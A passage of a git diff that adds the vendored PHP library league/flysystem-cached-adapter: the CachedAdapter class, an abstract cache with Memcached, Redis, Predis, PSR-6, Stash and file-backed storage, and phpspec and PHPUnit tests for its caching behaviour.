$this->adapter->createDir($dirname, $config)->willReturn(false); + $this->createDir($dirname, $config)->shouldBe(false); + } + + public function it_should_cache_set_visibility() + { + $path = 'path.txt'; + $visibility = AdapterInterface::VISIBILITY_PUBLIC; + $this->adapter->setVisibility($path, $visibility)->willReturn(true); + $this->cache->updateObject($path, ['path' => $path, 'visibility' => $visibility], true)->shouldBeCalled(); + $this->setVisibility($path, $visibility)->shouldBe(true); + } + + public function it_should_ignore_set_visibility_fails() + { + $dirname = 'delete'; + $visibility = AdapterInterface::VISIBILITY_PUBLIC; + $this->adapter->setVisibility($dirname, $visibility)->willReturn(false); + $this->setVisibility($dirname, $visibility)->shouldBe(false); + } + + public function it_should_indicate_missing_files() + { + $this->cache->has($path = 'path.txt')->willReturn(false); + $this->has($path)->shouldBe(false); + } + + public function it_should_indicate_file_existance() + { + $this->cache->has($path = 'path.txt')->willReturn(true); + $this->has($path)->shouldBe(true); + } + + public function it_should_cache_missing_files() + { + $this->cache->has($path = 'path.txt')->willReturn(null); + $this->adapter->has($path)->willReturn(false); + $this->cache->storeMiss($path)->shouldBeCalled(); + $this->has($path)->shouldBe(false); + } + + public function it_should_delete_when_metadata_is_missing() + { + $path = 'path.txt'; + $this->cache->has($path)->willReturn(true); + $this->cache->getSize($path)->willReturn(['path' => $path]); + $this->adapter->getSize($path)->willReturn($response = ['path' => $path, 'size' => 1024]); + $this->cache->updateObject($path, $response, true)->shouldBeCalled(); + $this->getSize($path)->shouldBe($response); + } + + public function it_should_cache_has() + { + $this->cache->has($path = 'path.txt')->willReturn(null); + $this->adapter->has($path)->willReturn(true); + $this->cache->updateObject($path, compact('path'), true)->shouldBeCalled(); + $this->has($path)->shouldBe(true); + } + + public function it_should_list_cached_contents() + { + $this->cache->isComplete($dirname = 'dirname', $recursive = true)->willReturn(true); + $response = [['path' => 'path.txt']]; + $this->cache->listContents($dirname, $recursive)->willReturn($response); + $this->listContents($dirname, $recursive)->shouldBe($response); + } + + public function it_should_ignore_failed_list_contents() + { + $this->cache->isComplete($dirname = 'dirname', $recursive = true)->willReturn(false); + $this->adapter->listContents($dirname, $recursive)->willReturn(false); + $this->listContents($dirname, $recursive)->shouldBe(false); + } + + public function it_should_cache_contents_listings() + { + $this->cache->isComplete($dirname = 'dirname', $recursive = true)->willReturn(false); + $response = [['path' => 'path.txt']]; + $this->adapter->listContents($dirname, $recursive)->willReturn($response); + $this->cache->storeContents($dirname, $response, $recursive)->shouldBeCalled(); + $this->listContents($dirname, $recursive)->shouldBe($response); + } + + public function it_should_use_cached_visibility() + { + $this->make_it_use_getter_cache('getVisibility', 'path.txt', [ + 'path' => 'path.txt', + 'visibility' => AdapterInterface::VISIBILITY_PUBLIC, + ]); + } + + public function it_should_cache_get_visibility() + { + $path = 'path.txt'; + $response = ['visibility' => AdapterInterface::VISIBILITY_PUBLIC, 'path' => $path]; + $this->make_it_cache_getter('getVisibility', $path, $response); + } + + public function it_should_ignore_failed_get_visibility() + { + $path = 'path.txt'; + $this->make_it_ignore_failed_getter('getVisibility', $path); + } + + public function it_should_use_cached_timestamp() + { + $this->make_it_use_getter_cache('getTimestamp', 'path.txt', [ + 'path' => 'path.txt', + 'timestamp' => 1234, + ]); + } + + public function it_should_cache_timestamps() + { + $this->make_it_cache_getter('getTimestamp', 'path.txt', [ + 'path' => 'path.txt', + 'timestamp' => 1234, + ]); + } + + public function it_should_ignore_failed_get_timestamps() + { + $this->make_it_ignore_failed_getter('getTimestamp', 'path.txt'); + } + + public function it_should_cache_get_metadata() + { + $path = 'path.txt'; + $response = ['visibility' => AdapterInterface::VISIBILITY_PUBLIC, 'path' => $path]; + $this->make_it_cache_getter('getMetadata', $path, $response); + } + + public function it_should_use_cached_metadata() + { + $this->make_it_use_getter_cache('getMetadata', 'path.txt', [ + 'path' => 'path.txt', + 'timestamp' => 1234, + ]); + } + + public function it_should_ignore_failed_get_metadata() + { + $this->make_it_ignore_failed_getter('getMetadata', 'path.txt'); + } + + public function it_should_cache_get_size() + { + $path = 'path.txt'; + $response = ['size' => 1234, 'path' => $path]; + $this->make_it_cache_getter('getSize', $path, $response); + } + + public function it_should_use_cached_size() + { + $this->make_it_use_getter_cache('getSize', 'path.txt', [ + 'path' => 'path.txt', + 'size' => 1234, + ]); + } + + public function it_should_ignore_failed_get_size() + { + $this->make_it_ignore_failed_getter('getSize', 'path.txt'); + } + + public function it_should_cache_get_mimetype() + { + $path = 'path.txt'; + $response = ['mimetype' => 'text/plain', 'path' => $path]; + $this->make_it_cache_getter('getMimetype', $path, $response); + } + + public function it_should_use_cached_mimetype() + { + $this->make_it_use_getter_cache('getMimetype', 'path.txt', [ + 'path' => 'path.txt', + 'mimetype' => 'text/plain', + ]); + } + + public function it_should_ignore_failed_get_mimetype() + { + $this->make_it_ignore_failed_getter('getMimetype', 'path.txt'); + } + + public function it_should_cache_reads() + { + $path = 'path.txt'; + $response = ['path' => $path, 'contents' => 'contents']; + $this->make_it_cache_getter('read', $path, $response); + } + + public function it_should_use_cached_file_contents() + { + $this->make_it_use_getter_cache('read', 'path.txt', [ + 'path' => 'path.txt', + 'contents' => 'contents' + ]); + } + + public function it_should_ignore_failed_reads() + { + $this->make_it_ignore_failed_getter('read', 'path.txt'); + } + + protected function make_it_use_getter_cache($method, $path, $response) + { + $this->cache->{$method}($path)->willReturn($response); + $this->{$method}($path)->shouldBe($response); + } + + protected function make_it_cache_getter($method, $path, $response) + { + $this->cache->{$method}($path)->willReturn(false); + $this->adapter->{$method}($path)->willReturn($response); + $this->cache->updateObject($path, $response, true)->shouldBeCalled(); + $this->{$method}($path)->shouldBe($response); + } + + protected function make_it_ignore_failed_getter($method, $path) + { + $this->cache->{$method}($path)->willReturn(false); + $this->adapter->{$method}($path)->willReturn(false); + $this->{$method}($path)->shouldBe(false); + } +} diff --git a/vendor/league/flysystem-cached-adapter/src/CacheInterface.php b/vendor/league/flysystem-cached-adapter/src/CacheInterface.php new file mode 100644 index 0000000..de3ab3d --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/src/CacheInterface.php @@ -0,0 +1,101 @@ +adapter = $adapter; + $this->cache = $cache; + $this->cache->load(); + } + + /** + * Get the underlying Adapter implementation. + * + * @return AdapterInterface + */ + public function getAdapter() + { + return $this->adapter; + } + + /** + * Get the used Cache implementation. + * + * @return CacheInterface + */ + public function getCache() + { + return $this->cache; + } + + /** + * {@inheritdoc} + */ + public function write($path, $contents, Config $config) + { + $result = $this->adapter->write($path, $contents, $config); + + if ($result !== false) { + $result['type'] = 'file'; + $this->cache->updateObject($path, $result + compact('path', 'contents'), true); + } + + return $result; + } + + /** + * {@inheritdoc} + */ + public function writeStream($path, $resource, Config $config) + { + $result = $this->adapter->writeStream($path, $resource, $config); + + if ($result !== false) { + $result['type'] = 'file'; + $contents = false; + $this->cache->updateObject($path, $result + compact('path', 'contents'), true); + } + + return $result; + } + + /** + * {@inheritdoc} + */ + public function update($path, $contents, Config $config) + { + $result = $this->adapter->update($path, $contents, $config); + + if ($result !== false) { + $result['type'] = 'file'; + $this->cache->updateObject($path, $result + compact('path', 'contents'), true); + } + + return $result; + } + + /** + * {@inheritdoc} + */ + public function updateStream($path, $resource, Config $config) + { + $result = $this->adapter->updateStream($path, $resource, $config); + + if ($result !== false) { + $result['type'] = 'file'; + $contents = false; + $this->cache->updateObject($path, $result + compact('path', 'contents'), true); + } + + return $result; + } + + /** + * {@inheritdoc} + */ + public function rename($path, $newPath) + { + $result = $this->adapter->rename($path, $newPath); + + if ($result !== false) { + $this->cache->rename($path, $newPath); + } + + return $result; + } + + /** + * {@inheritdoc} + */ + public function copy($path, $newpath) + { + $result = $this->adapter->copy($path, $newpath); + + if ($result !== false) { + $this->cache->copy($path, $newpath); + } + + return $result; + } + + /** + * {@inheritdoc} + */ + public function delete($path) + { + $result = $this->adapter->delete($path); + + if ($result !== false) { + $this->cache->delete($path); + } + + return $result; + } + + /** + * {@inheritdoc} + */ + public function deleteDir($dirname) + { + $result = $this->adapter->deleteDir($dirname); + + if ($result !== false) { + $this->cache->deleteDir($dirname); + } + + return $result; + } + + /** + * {@inheritdoc} + */ + public function createDir($dirname, Config $config) + { + $result = $this->adapter->createDir($dirname, $config); + + if ($result !== false) { + $type = 'dir'; + $path = $dirname; + $this->cache->updateObject($dirname, compact('path', 'type'), true); + } + + return $result; + } + + /** + * {@inheritdoc} + */ + public function setVisibility($path, $visibility) + { + $result = $this->adapter->setVisibility($path, $visibility); + + if ($result !== false) { + $this->cache->updateObject($path, compact('path', 'visibility'), true); + } + + return $result; + } + + /** + * {@inheritdoc} + */ + public function has($path) + { + $cacheHas = $this->cache->has($path); + + if ($cacheHas !== null) { + return $cacheHas; + } + + $adapterResponse = $this->adapter->has($path); + + if (! $adapterResponse) { + $this->cache->storeMiss($path); + } else { + $cacheEntry = is_array($adapterResponse) ? $adapterResponse : compact('path'); + $this->cache->updateObject($path, $cacheEntry, true); + } + + return $adapterResponse; + } + + /** + * {@inheritdoc} + */ + public function read($path) + { + return $this->callWithFallback('contents', $path, 'read'); + } + + /** + * {@inheritdoc} + */ + public function readStream($path) + { + return $this->adapter->readStream($path); + } + + /** + * Get the path prefix. + * + * @return string|null path prefix or null if pathPrefix is empty + */ + public function getPathPrefix() + { + return $this->adapter->getPathPrefix(); + } + + /** + * Prefix a path. + * + * @param string $path + * + * @return string prefixed path + */ + public function applyPathPrefix($path) + { + return $this->adapter->applyPathPrefix($path); + } + + /** + * {@inheritdoc} + */ + public function listContents($directory = '', $recursive = false) + { + if ($this->cache->isComplete($directory, $recursive)) { + return $this->cache->listContents($directory, $recursive); + } + + $result = $this->adapter->listContents($directory, $recursive); + + if ($result !== false) { + $this->cache->storeContents($directory, $result, $recursive); + } + + return $result; + } + + /** + * {@inheritdoc} + */ + public function getMetadata($path) + { + return $this->callWithFallback(null, $path, 'getMetadata'); + } + + /** + * {@inheritdoc} + */ + public function getSize($path) + { + return $this->callWithFallback('size', $path, 'getSize'); + } + + /** + * {@inheritdoc} + */ + public function getMimetype($path) + { + return $this->callWithFallback('mimetype', $path, 'getMimetype'); + } + + /** + * {@inheritdoc} + */ + public function getTimestamp($path) + { + return $this->callWithFallback('timestamp', $path, 'getTimestamp'); + } + + /** + * {@inheritdoc} + */ + public function getVisibility($path) + { + return $this->callWithFallback('visibility', $path, 'getVisibility'); + } + + /** + * Call a method and cache the response. + * + * @param string $property + * @param string $path + * @param string $method + * + * @return mixed + */ + protected function callWithFallback($property, $path, $method) + { + $result = $this->cache->{$method}($path); + + if ($result !== false && ($property === null || array_key_exists($property, $result))) { + return $result; + } + + $result = $this->adapter->{$method}($path); + + if ($result) { + $object = $result + compact('path'); + $this->cache->updateObject($path, $object, true); + } + + return $result; + } +} diff --git a/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php b/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php new file mode 100644 index 0000000..141b468 --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php @@ -0,0 +1,418 @@ +autosave) { + $this->save(); + } + } + + /** + * Get the autosave setting. + * + * @return bool autosave + */ + public function getAutosave() + { + return $this->autosave; + } + + /** + * Get the autosave setting. + * + * @param bool $autosave + */ + public function setAutosave($autosave) + { + $this->autosave = $autosave; + } + + /** + * Store the contents listing. + * + * @param string $directory + * @param array $contents + * @param bool $recursive + * + * @return array contents listing + */ + public function storeContents($directory, array $contents, $recursive = false) + { + $directories = [$directory]; + + foreach ($contents as $object) { + $this->updateObject($object['path'], $object); + $object = $this->cache[$object['path']]; + + if ($recursive && $this->pathIsInDirectory($directory, $object['path'])) { + $directories[] = $object['dirname']; + } + } + + foreach (array_unique($directories) as $directory) { + $this->setComplete($directory, $recursive); + } + + $this->autosave(); + } + + /** + * Update the metadata for an object. + * + * @param string $path object path + * @param array $object object metadata + * @param bool $autosave whether to trigger the autosave routine + */ + public function updateObject($path, array $object, $autosave = false) + { + if (! $this->has($path)) { + $this->cache[$path] = Util::pathinfo($path); + } + + $this->cache[$path] = array_merge($this->cache[$path], $object); + + if ($autosave) { + $this->autosave(); + } + + $this->ensureParentDirectories($path); + } + + /** + * Store object hit miss. + * + * @param string $path + */ + public function storeMiss($path) + { + $this->cache[$path] = false; + $this->autosave(); + } + + /** + * Get the contents listing. + * + * @param string $dirname + * @param bool $recursive + * + * @return array contents listing + */ + public function listContents($dirname = '', $recursive = false) + { + $result = []; + + foreach ($this->cache as $object) { + if ($object === false) { + continue; + } + if ($object['dirname'] === $dirname) { + $result[] = $object; + } elseif ($recursive && $this->pathIsInDirectory($dirname, $object['path'])) { + $result[] = $object; + } + } + + return $result; + } + + /** + * {@inheritdoc} + */ + public function has($path) + { + if ($path !== false && array_key_exists($path, $this->cache)) { + return $this->cache[$path] !== false; + } + + if ($this->isComplete(Util::dirname($path), false)) { + return false; + } + } + + /** + * {@inheritdoc} + */ + public function read($path) + { + if (isset($this->cache[$path]['contents']) && $this->cache[$path]['contents'] !== false) { + return $this->cache[$path]; + } + + return false; + } + + /** + * {@inheritdoc} + */ + public function readStream($path) + { + return false; + } + + /** + * {@inheritdoc} + */ + public function rename($path, $newpath) + { + if ($this->has($path)) { + $object = $this->cache[$path]; + unset($this->cache[$path]); + $object['path'] = $newpath; + $object = array_merge($object, Util::pathinfo($newpath)); + $this->cache[$newpath] = $object; + $this->autosave(); + } + } + + /** + * {@inheritdoc} + */ + public function copy($path, $newpath) + { + if ($this->has($path)) { + $object = $this->cache[$path]; + $object = array_merge($object, Util::pathinfo($newpath)); + $this->updateObject($newpath, $object, true); + } + } + + /** + * {@inheritdoc} + */ + public function delete($path) + { + $this->storeMiss($path); + } + + /** + * {@inheritdoc} + */ + public function deleteDir($dirname) + { + foreach ($this->cache as $path => $object) { + if ($this->pathIsInDirectory($dirname, $path) || $path === $dirname) { + unset($this->cache[$path]); + } + } + + unset($this->complete[$dirname]); + + $this->autosave(); + } + + /** + * {@inheritdoc} + */ + public function getMimetype($path) + { + if (isset($this->cache[$path]['mimetype'])) { + return $this->cache[$path]; + } + + if (! $result = $this->read($path)) { + return false; + } + + $mimetype = Util::guessMimeType($path, $result['contents']); + $this->cache[$path]['mimetype'] = $mimetype; + + return $this->cache[$path]; + } + + /** + * {@inheritdoc} + */ + public function getSize($path) + { + if (isset($this->cache[$path]['size'])) { + return $this->cache[$path]; + } + + return false; + } + + /** + * {@inheritdoc} + */ + public function getTimestamp($path) + { + if (isset($this->cache[$path]['timestamp'])) { + return $this->cache[$path]; + } + + return false; + } + + /** + * {@inheritdoc} + */ + public function getVisibility($path) + { + if (isset($this->cache[$path]['visibility'])) { + return $this->cache[$path]; + } + + return false; + } + + /** + * {@inheritdoc} + */ + public function getMetadata($path) + { + if (isset($this->cache[$path]['type'])) { + return $this->cache[$path]; + } + + return false; + } + + /** + * {@inheritdoc} + */ + public function isComplete($dirname, $recursive) + { + if (! array_key_exists($dirname, $this->complete)) { + return false; + } + + if ($recursive && $this->complete[$dirname] !== 'recursive') { + return false; + } + + return true; + } + + /** + * {@inheritdoc} + */ + public function setComplete($dirname, $recursive) + { + $this->complete[$dirname] = $recursive ? 'recursive' : true; + } + + /** + * Filter the contents from a listing. + * + * @param array $contents object listing + * + * @return array filtered contents + */ + public function cleanContents(array $contents) + { + $cachedProperties = array_flip([ + 'path', 'dirname', 'basename', 'extension', 'filename', + 'size', 'mimetype', 'visibility', 'timestamp', 'type', + 'md5', + ]); + + foreach ($contents as $path => $object) { + if (is_array($object)) { + $contents[$path] = array_intersect_key($object, $cachedProperties); + } + } + + return $contents; + } + + /** + * {@inheritdoc} + */ + public function flush() + { + $this->cache = []; + $this->complete = []; + $this->autosave(); + } + + /** + * {@inheritdoc} + */ + public function autosave() + { + if ($this->autosave) { + $this->save(); + } + } + + /** + * Retrieve serialized cache data. + * + * @return string serialized data + */ + public function getForStorage() + { + $cleaned = $this->cleanContents($this->cache); + + return json_encode([$cleaned, $this->complete]); + } + + /** + * Load from serialized cache data. + * + * @param string $json + */ + public function setFromStorage($json) + { + list($cache, $complete) = json_decode($json, true); + + if (json_last_error() === JSON_ERROR_NONE && is_array($cache) && is_array($complete)) { + $this->cache = $cache; + $this->complete = $complete; + } + } + + /** + * Ensure parent directories of an object. + * + * @param string $path object path + */ + public function ensureParentDirectories($path) + { + $object = $this->cache[$path]; + + while ($object['dirname'] !== '' && ! isset($this->cache[$object['dirname']])) { + $object = Util::pathinfo($object['dirname']); + $object['type'] = 'dir'; + $this->cache[$object['path']] = $object; + } + } + + /** + * Determines if the path is inside the directory. + * + * @param string $directory + * @param string $path + * + * @return bool + */ + protected function pathIsInDirectory($directory, $path) + { + return $directory === '' || strpos($path, $directory . '/') === 0; + } +} diff --git a/vendor/league/flysystem-cached-adapter/src/Storage/Adapter.php b/vendor/league/flysystem-cached-adapter/src/Storage/Adapter.php new file mode 100644 index 0000000..649a60e --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/src/Storage/Adapter.php @@ -0,0 +1,115 @@ +adapter = $adapter; + $this->file = $file; + $this->setExpire($expire); + } + + /** + * Set the expiration time in seconds. + * + * @param int $expire relative expiration time + */ + protected function setExpire($expire) + { + if ($expire) { + $this->expire = $this->getTime($expire); + } + } + + /** + * Get expiration time in seconds. + * + * @param int $time relative expiration time + * + * @return int actual expiration time + */ + protected function getTime($time = 0) + { + return intval(microtime(true)) + $time; + } + + /** + * {@inheritdoc} + */ + public function setFromStorage($json) + { + list($cache, $complete, $expire) = json_decode($json, true); + + if (! $expire || $expire > $this->getTime()) { + $this->cache = is_array($cache) ? $cache : []; + $this->complete = is_array($complete) ? $complete : []; + } else { + $this->adapter->delete($this->file); + } + } + + /** + * {@inheritdoc} + */ + public function load() + { + if ($this->adapter->has($this->file)) { + $file = $this->adapter->read($this->file); + if ($file && !empty($file['contents'])) { + $this->setFromStorage($file['contents']); + } + } + } + + /** + * {@inheritdoc} + */ + public function getForStorage() + { + $cleaned = $this->cleanContents($this->cache); + + return json_encode([$cleaned, $this->complete, $this->expire]); + } + + /** + * {@inheritdoc} + */ + public function save() + { + $config = new Config(); + $contents = $this->getForStorage(); + + if ($this->adapter->has($this->file)) { + $this->adapter->update($this->file, $contents, $config); + } else { + $this->adapter->write($this->file, $contents, $config); + } + } +} diff --git a/vendor/league/flysystem-cached-adapter/src/Storage/Memcached.php b/vendor/league/flysystem-cached-adapter/src/Storage/Memcached.php new file mode 100644 index 0000000..f67d271 --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/src/Storage/Memcached.php @@ -0,0 +1,59 @@ +key = $key; + $this->expire = $expire; + $this->memcached = $memcached; + } + + /** + * {@inheritdoc} + */ + public function load() + { + $contents = $this->memcached->get($this->key); + + if ($contents !== false) { + $this->setFromStorage($contents); + } + } + + /** + * {@inheritdoc} + */ + public function save() + { + $contents = $this->getForStorage(); + $expiration = $this->expire === null ? 0 : time() + $this->expire; + $this->memcached->set($this->key, $contents, $expiration); + } +} diff --git a/vendor/league/flysystem-cached-adapter/src/Storage/Memory.php b/vendor/league/flysystem-cached-adapter/src/Storage/Memory.php new file mode 100644 index 0000000..d0914fa --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/src/Storage/Memory.php @@ -0,0 +1,22 @@ +client = $client ?: new Redis(); + $this->key = $key; + $this->expire = $expire; + } + + /** + * {@inheritdoc} + */ + public function load() + { + $contents = $this->client->get($this->key); + + if ($contents !== false) { + $this->setFromStorage($contents); + } + } + + /** + * {@inheritdoc} + */ + public function save() + { + $contents = $this->getForStorage(); + $this->client->set($this->key, $contents); + + if ($this->expire !== null) { + $this->client->expire($this->key, $this->expire); + } + } +} diff --git a/vendor/league/flysystem-cached-adapter/src/Storage/Predis.php b/vendor/league/flysystem-cached-adapter/src/Storage/Predis.php new file mode 100644 index 0000000..8a29574 --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/src/Storage/Predis.php @@ -0,0 +1,75 @@ +client = $client ?: new Client(); + $this->key = $key; + $this->expire = $expire; + } + + /** + * {@inheritdoc} + */ + public function load() + { + if (($contents = $this->executeCommand('get', [$this->key])) !== null) { + $this->setFromStorage($contents); + } + } + + /** + * {@inheritdoc} + */ + public function save() + { + $contents = $this->getForStorage(); + $this->executeCommand('set', [$this->key, $contents]); + + if ($this->expire !== null) { + $this->executeCommand('expire', [$this->key, $this->expire]); + } + } + + /** + * Execute a Predis command. + * + * @param string $name + * @param array $arguments + * + * @return string + */ + protected function executeCommand($name, array $arguments) + { + $command = $this->client->createCommand($name, $arguments); + + return $this->client->executeCommand($command); + } +} diff --git a/vendor/league/flysystem-cached-adapter/src/Storage/Psr6Cache.php b/vendor/league/flysystem-cached-adapter/src/Storage/Psr6Cache.php new file mode 100644 index 0000000..43be87e --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/src/Storage/Psr6Cache.php @@ -0,0 +1,59 @@ +pool = $pool; + $this->key = $key; + $this->expire = $expire; + } + + /** + * {@inheritdoc} + */ + public function save() + { + $item = $this->pool->getItem($this->key); + $item->set($this->getForStorage()); + $item->expiresAfter($this->expire); + $this->pool->save($item); + } + + /** + * {@inheritdoc} + */ + public function load() + { + $item = $this->pool->getItem($this->key); + if ($item->isHit()) { + $this->setFromStorage($item->get()); + } + } +} \ No newline at end of file diff --git a/vendor/league/flysystem-cached-adapter/src/Storage/Stash.php b/vendor/league/flysystem-cached-adapter/src/Storage/Stash.php new file mode 100644 index 0000000..e05b832 --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/src/Storage/Stash.php @@ -0,0 +1,60 @@ +key = $key; + $this->expire = $expire; + $this->pool = $pool; + } + + /** + * {@inheritdoc} + */ + public function load() + { + $item = $this->pool->getItem($this->key); + $contents = $item->get(); + + if ($item->isMiss() === false) { + $this->setFromStorage($contents); + } + } + + /** + * {@inheritdoc} + */ + public function save() + { + $contents = $this->getForStorage(); + $item = $this->pool->getItem($this->key); + $item->set($contents, $this->expire); + } +} diff --git a/vendor/league/flysystem-cached-adapter/tests/AdapterCacheTests.php b/vendor/league/flysystem-cached-adapter/tests/AdapterCacheTests.php new file mode 100644 index 0000000..b63cba7 --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/tests/AdapterCacheTests.php @@ -0,0 +1,104 @@ +shouldReceive('has')->once()->with('file.json')->andReturn(false); + $cache = new Adapter($adapter, 'file.json', 10); + $cache->load(); + $this->assertFalse($cache->isComplete('', false)); + } + + public function testLoadExpired() + { + $response = ['contents' => json_encode([[], ['' => true], 1234567890]), 'path' => 'file.json']; + $adapter = Mockery::mock('League\Flysystem\AdapterInterface'); + $adapter->shouldReceive('has')->once()->with('file.json')->andReturn(true); + $adapter->shouldReceive('read')->once()->with('file.json')->andReturn($response); + $adapter->shouldReceive('delete')->once()->with('file.json'); + $cache = new Adapter($adapter, 'file.json', 10); + $cache->load(); + $this->assertFalse($cache->isComplete('', false)); + } + + public function testLoadSuccess() + { + $response = ['contents' => json_encode([[], ['' => true], 9876543210]), 'path' => 'file.json']; + $adapter = Mockery::mock('League\Flysystem\AdapterInterface'); + $adapter->shouldReceive('has')->once()->with('file.json')->andReturn(true); + $adapter->shouldReceive('read')->once()->with('file.json')->andReturn($response); + $cache = new Adapter($adapter, 'file.json', 10); + $cache->load(); + $this->assertTrue($cache->isComplete('', false)); + } + + public function testSaveExists() + { + $response = json_encode([[], [], null]); + $adapter = Mockery::mock('League\Flysystem\AdapterInterface'); + $adapter->shouldReceive('has')->once()->with('file.json')->andReturn(true); + $adapter->shouldReceive('update')->once()->with('file.json', $response, Mockery::any()); + $cache = new Adapter($adapter, 'file.json', null); + $cache->save(); + } + + public function testSaveNew() + { + $response = json_encode([[], [], null]); + $adapter = Mockery::mock('League\Flysystem\AdapterInterface'); + $adapter->shouldReceive('has')->once()->with('file.json')->andReturn(false); + $adapter->shouldReceive('write')->once()->with('file.json', $response, Mockery::any()); + $cache = new Adapter($adapter, 'file.json', null); + $cache->save(); + } + + public function testStoreContentsRecursive() + { + $adapter = Mockery::mock('League\Flysystem\AdapterInterface'); + $adapter->shouldReceive('has')->once()->with('file.json')->andReturn(false); + $adapter->shouldReceive('write')->once()->with('file.json', Mockery::any(), Mockery::any()); + + $cache = new Adapter($adapter, 'file.json', null); + + $contents = [ + ['path' => 'foo/bar', 'dirname' => 'foo'], + ['path' => 'afoo/bang', 'dirname' => 'afoo'], + ]; + + $cache->storeContents('foo', $contents, true); + + $this->assertTrue($cache->isComplete('foo', true)); + $this->assertFalse($cache->isComplete('afoo', true)); + } + + public function testDeleteDir() + { + $cache_data = [ + 'foo' => ['path' => 'foo', 'type' => 'dir', 'dirname' => ''], + 'foo/bar' => ['path' => 'foo/bar', 'type' => 'file', 'dirname' => 'foo'], + 'foobaz' => ['path' => 'foobaz', 'type' => 'file', 'dirname' => ''], + ]; + + $response = [ + 'contents' => json_encode([$cache_data, [], null]), + 'path' => 'file.json', + ]; + + $adapter = Mockery::mock('League\Flysystem\AdapterInterface'); + $adapter->shouldReceive('has')->zeroOrMoreTimes()->with('file.json')->andReturn(true); + $adapter->shouldReceive('read')->once()->with('file.json')->andReturn($response); + $adapter->shouldReceive('update')->once()->with('file.json', Mockery::any(), Mockery::any())->andReturn(true); + + $cache = new Adapter($adapter, 'file.json', null); + $cache->load(); + + $cache->deleteDir('foo', true); + + $this->assertSame(1, count($cache->listContents('', true))); + } +} diff --git a/vendor/league/flysystem-cached-adapter/tests/InspectionTests.php b/vendor/league/flysystem-cached-adapter/tests/InspectionTests.php new file mode 100644 index 0000000..40d4c91 --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/tests/InspectionTests.php @@ -0,0 +1,16 @@ +shouldReceive('load')->once(); + $cached_adapter = new CachedAdapter($adapter, $cache); + $this->assertInstanceOf('League\Flysystem\AdapterInterface', $cached_adapter->getAdapter()); + } +} diff --git a/vendor/league/flysystem-cached-adapter/tests/MemcachedTests.php b/vendor/league/flysystem-cached-adapter/tests/MemcachedTests.php new file mode 100644 index 0000000..e3d9ad9 --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/tests/MemcachedTests.php @@ -0,0 +1,35 @@ +shouldReceive('get')->once()->andReturn(false); + $cache = new Memcached($client); + $cache->load(); + $this->assertFalse($cache->isComplete('', false)); + } + + public function testLoadSuccess() + { + $response = json_encode([[], ['' => true]]); + $client = Mockery::mock('Memcached'); + $client->shouldReceive('get')->once()->andReturn($response); + $cache = new Memcached($client); + $cache->load(); + $this->assertTrue($cache->isComplete('', false)); + } + + public function testSave() + { + $response = json_encode([[], []]); + $client = Mockery::mock('Memcached'); + $client->shouldReceive('set')->once()->andReturn($response); + $cache = new Memcached($client); + $cache->save(); + } +} diff --git a/vendor/league/flysystem-cached-adapter/tests/MemoryCacheTests.php b/vendor/league/flysystem-cached-adapter/tests/MemoryCacheTests.php new file mode 100644 index 0000000..3ac58fd --- /dev/null +++ b/vendor/league/flysystem-cached-adapter/tests/MemoryCacheTests.php @@ -0,0 +1,255 @@ +setAutosave(true); + $this->assertTrue($cache->getAutosave()); + $cache->setAutosave(false); + $this->assertFalse($cache->getAutosave()); + } + + public function testCacheMiss() + { + $cache = new Memory(); + $cache->storeMiss('path.txt'); + $this->assertFalse($cache->has('path.txt')); + } + + public function testIsComplete() + { + $cache = new Memory(); + $this->assertFalse($cache->isComplete('dirname', false)); + $cache->setComplete('dirname', false); + $this->assertFalse($cache->isComplete('dirname', true)); + $cache->setComplete('dirname', true); + $this->assertTrue($cache->isComplete('dirname', true)); + } + + public function testCleanContents() + { + $cache = new Memory(); + $input = [[ + 'path' => 'path.txt', + 'visibility' => 'public', + 'invalid' => 'thing', + ]]; + + $expected = [[ + 'path' => 'path.txt', + 'visibility' => 'public', + ]]; + + $output = $cache->cleanContents($input); + $this->assertEquals($expected, $output); + } + + public function testGetForStorage() + { + $cache = new Memory(); + $input = [[ + 'path' => 'path.txt', + 'visibility' => 'public', + 'type' => 'file', + ]]; + + $cache->storeContents('', $input, true); + $contents = $cache->listContents('', true); + $cached = []; + foreach ($contents as $item) { + $cached[$item['path']] = $item; + } + + $this->assertEquals(json_encode([$cached, ['' => 'recursive']]), $cache->getForStorage()); + } + + public function testParentCompleteIsUsedDuringHas() + { + $cache = new Memory(); + $cache->setComplete('dirname', false); + $this->assertFalse($cache->has('dirname/path.txt')); + } + + public function testFlush() + { + $cache = new Memory(); + $cache->setComplete('dirname', true); + $cache->updateObject('path.txt', [ + 'path' => 'path.txt', + 'visibility' => 'public', + ]); + $cache->flush(); + $this->assertFalse($cache->isComplete('dirname', true)); + $this->assertNull($cache->has('path.txt')); + } + + public function testSetFromStorage() + { + $cache = new Memory(); + $json = [[ + 'path.txt' => ['path' => 'path.txt', 'type' => 'file'], + ], ['dirname' => 'recursive']]; + $jsonString = json_encode($json); + $cache->setFromStorage($jsonString); + $this->assertTrue($cache->has('path.txt')); + $this->assertTrue($cache->isComplete('dirname', true)); + } + + public function testGetMetadataFail() + { + $cache = new Memory(); + $this->assertFalse($cache->getMetadata('path.txt')); + } + + public function metaGetterProvider() + { + return [ + ['getTimestamp', 'timestamp', 12344], + ['getMimetype', 'mimetype', 'text/plain'], + ['getSize', 'size', 12], + ['getVisibility', 'visibility', 'private'], + ['read', 'contents', '__contents__'], + ]; + } + + /** + * @dataProvider metaGetterProvider + * + * @param $method + * @param $key + * @param $value + */ + public function testMetaGetters($method, $key, $value) + { + $cache = new Memory(); + $this->assertFalse($cache->{$method}('path.txt')); + $cache->updateObject('path.txt', $object = [ + 'path' => 'path.txt', + 'type' => 'file', + $key => $value, + ] + Util::pathinfo('path.txt'), true); + $this->assertEquals($object, $cache->{$method}('path.txt')); + $this->assertEquals($object, $cache->getMetadata('path.txt')); + } + + public function testGetDerivedMimetype() + { + $cache = new Memory(); + 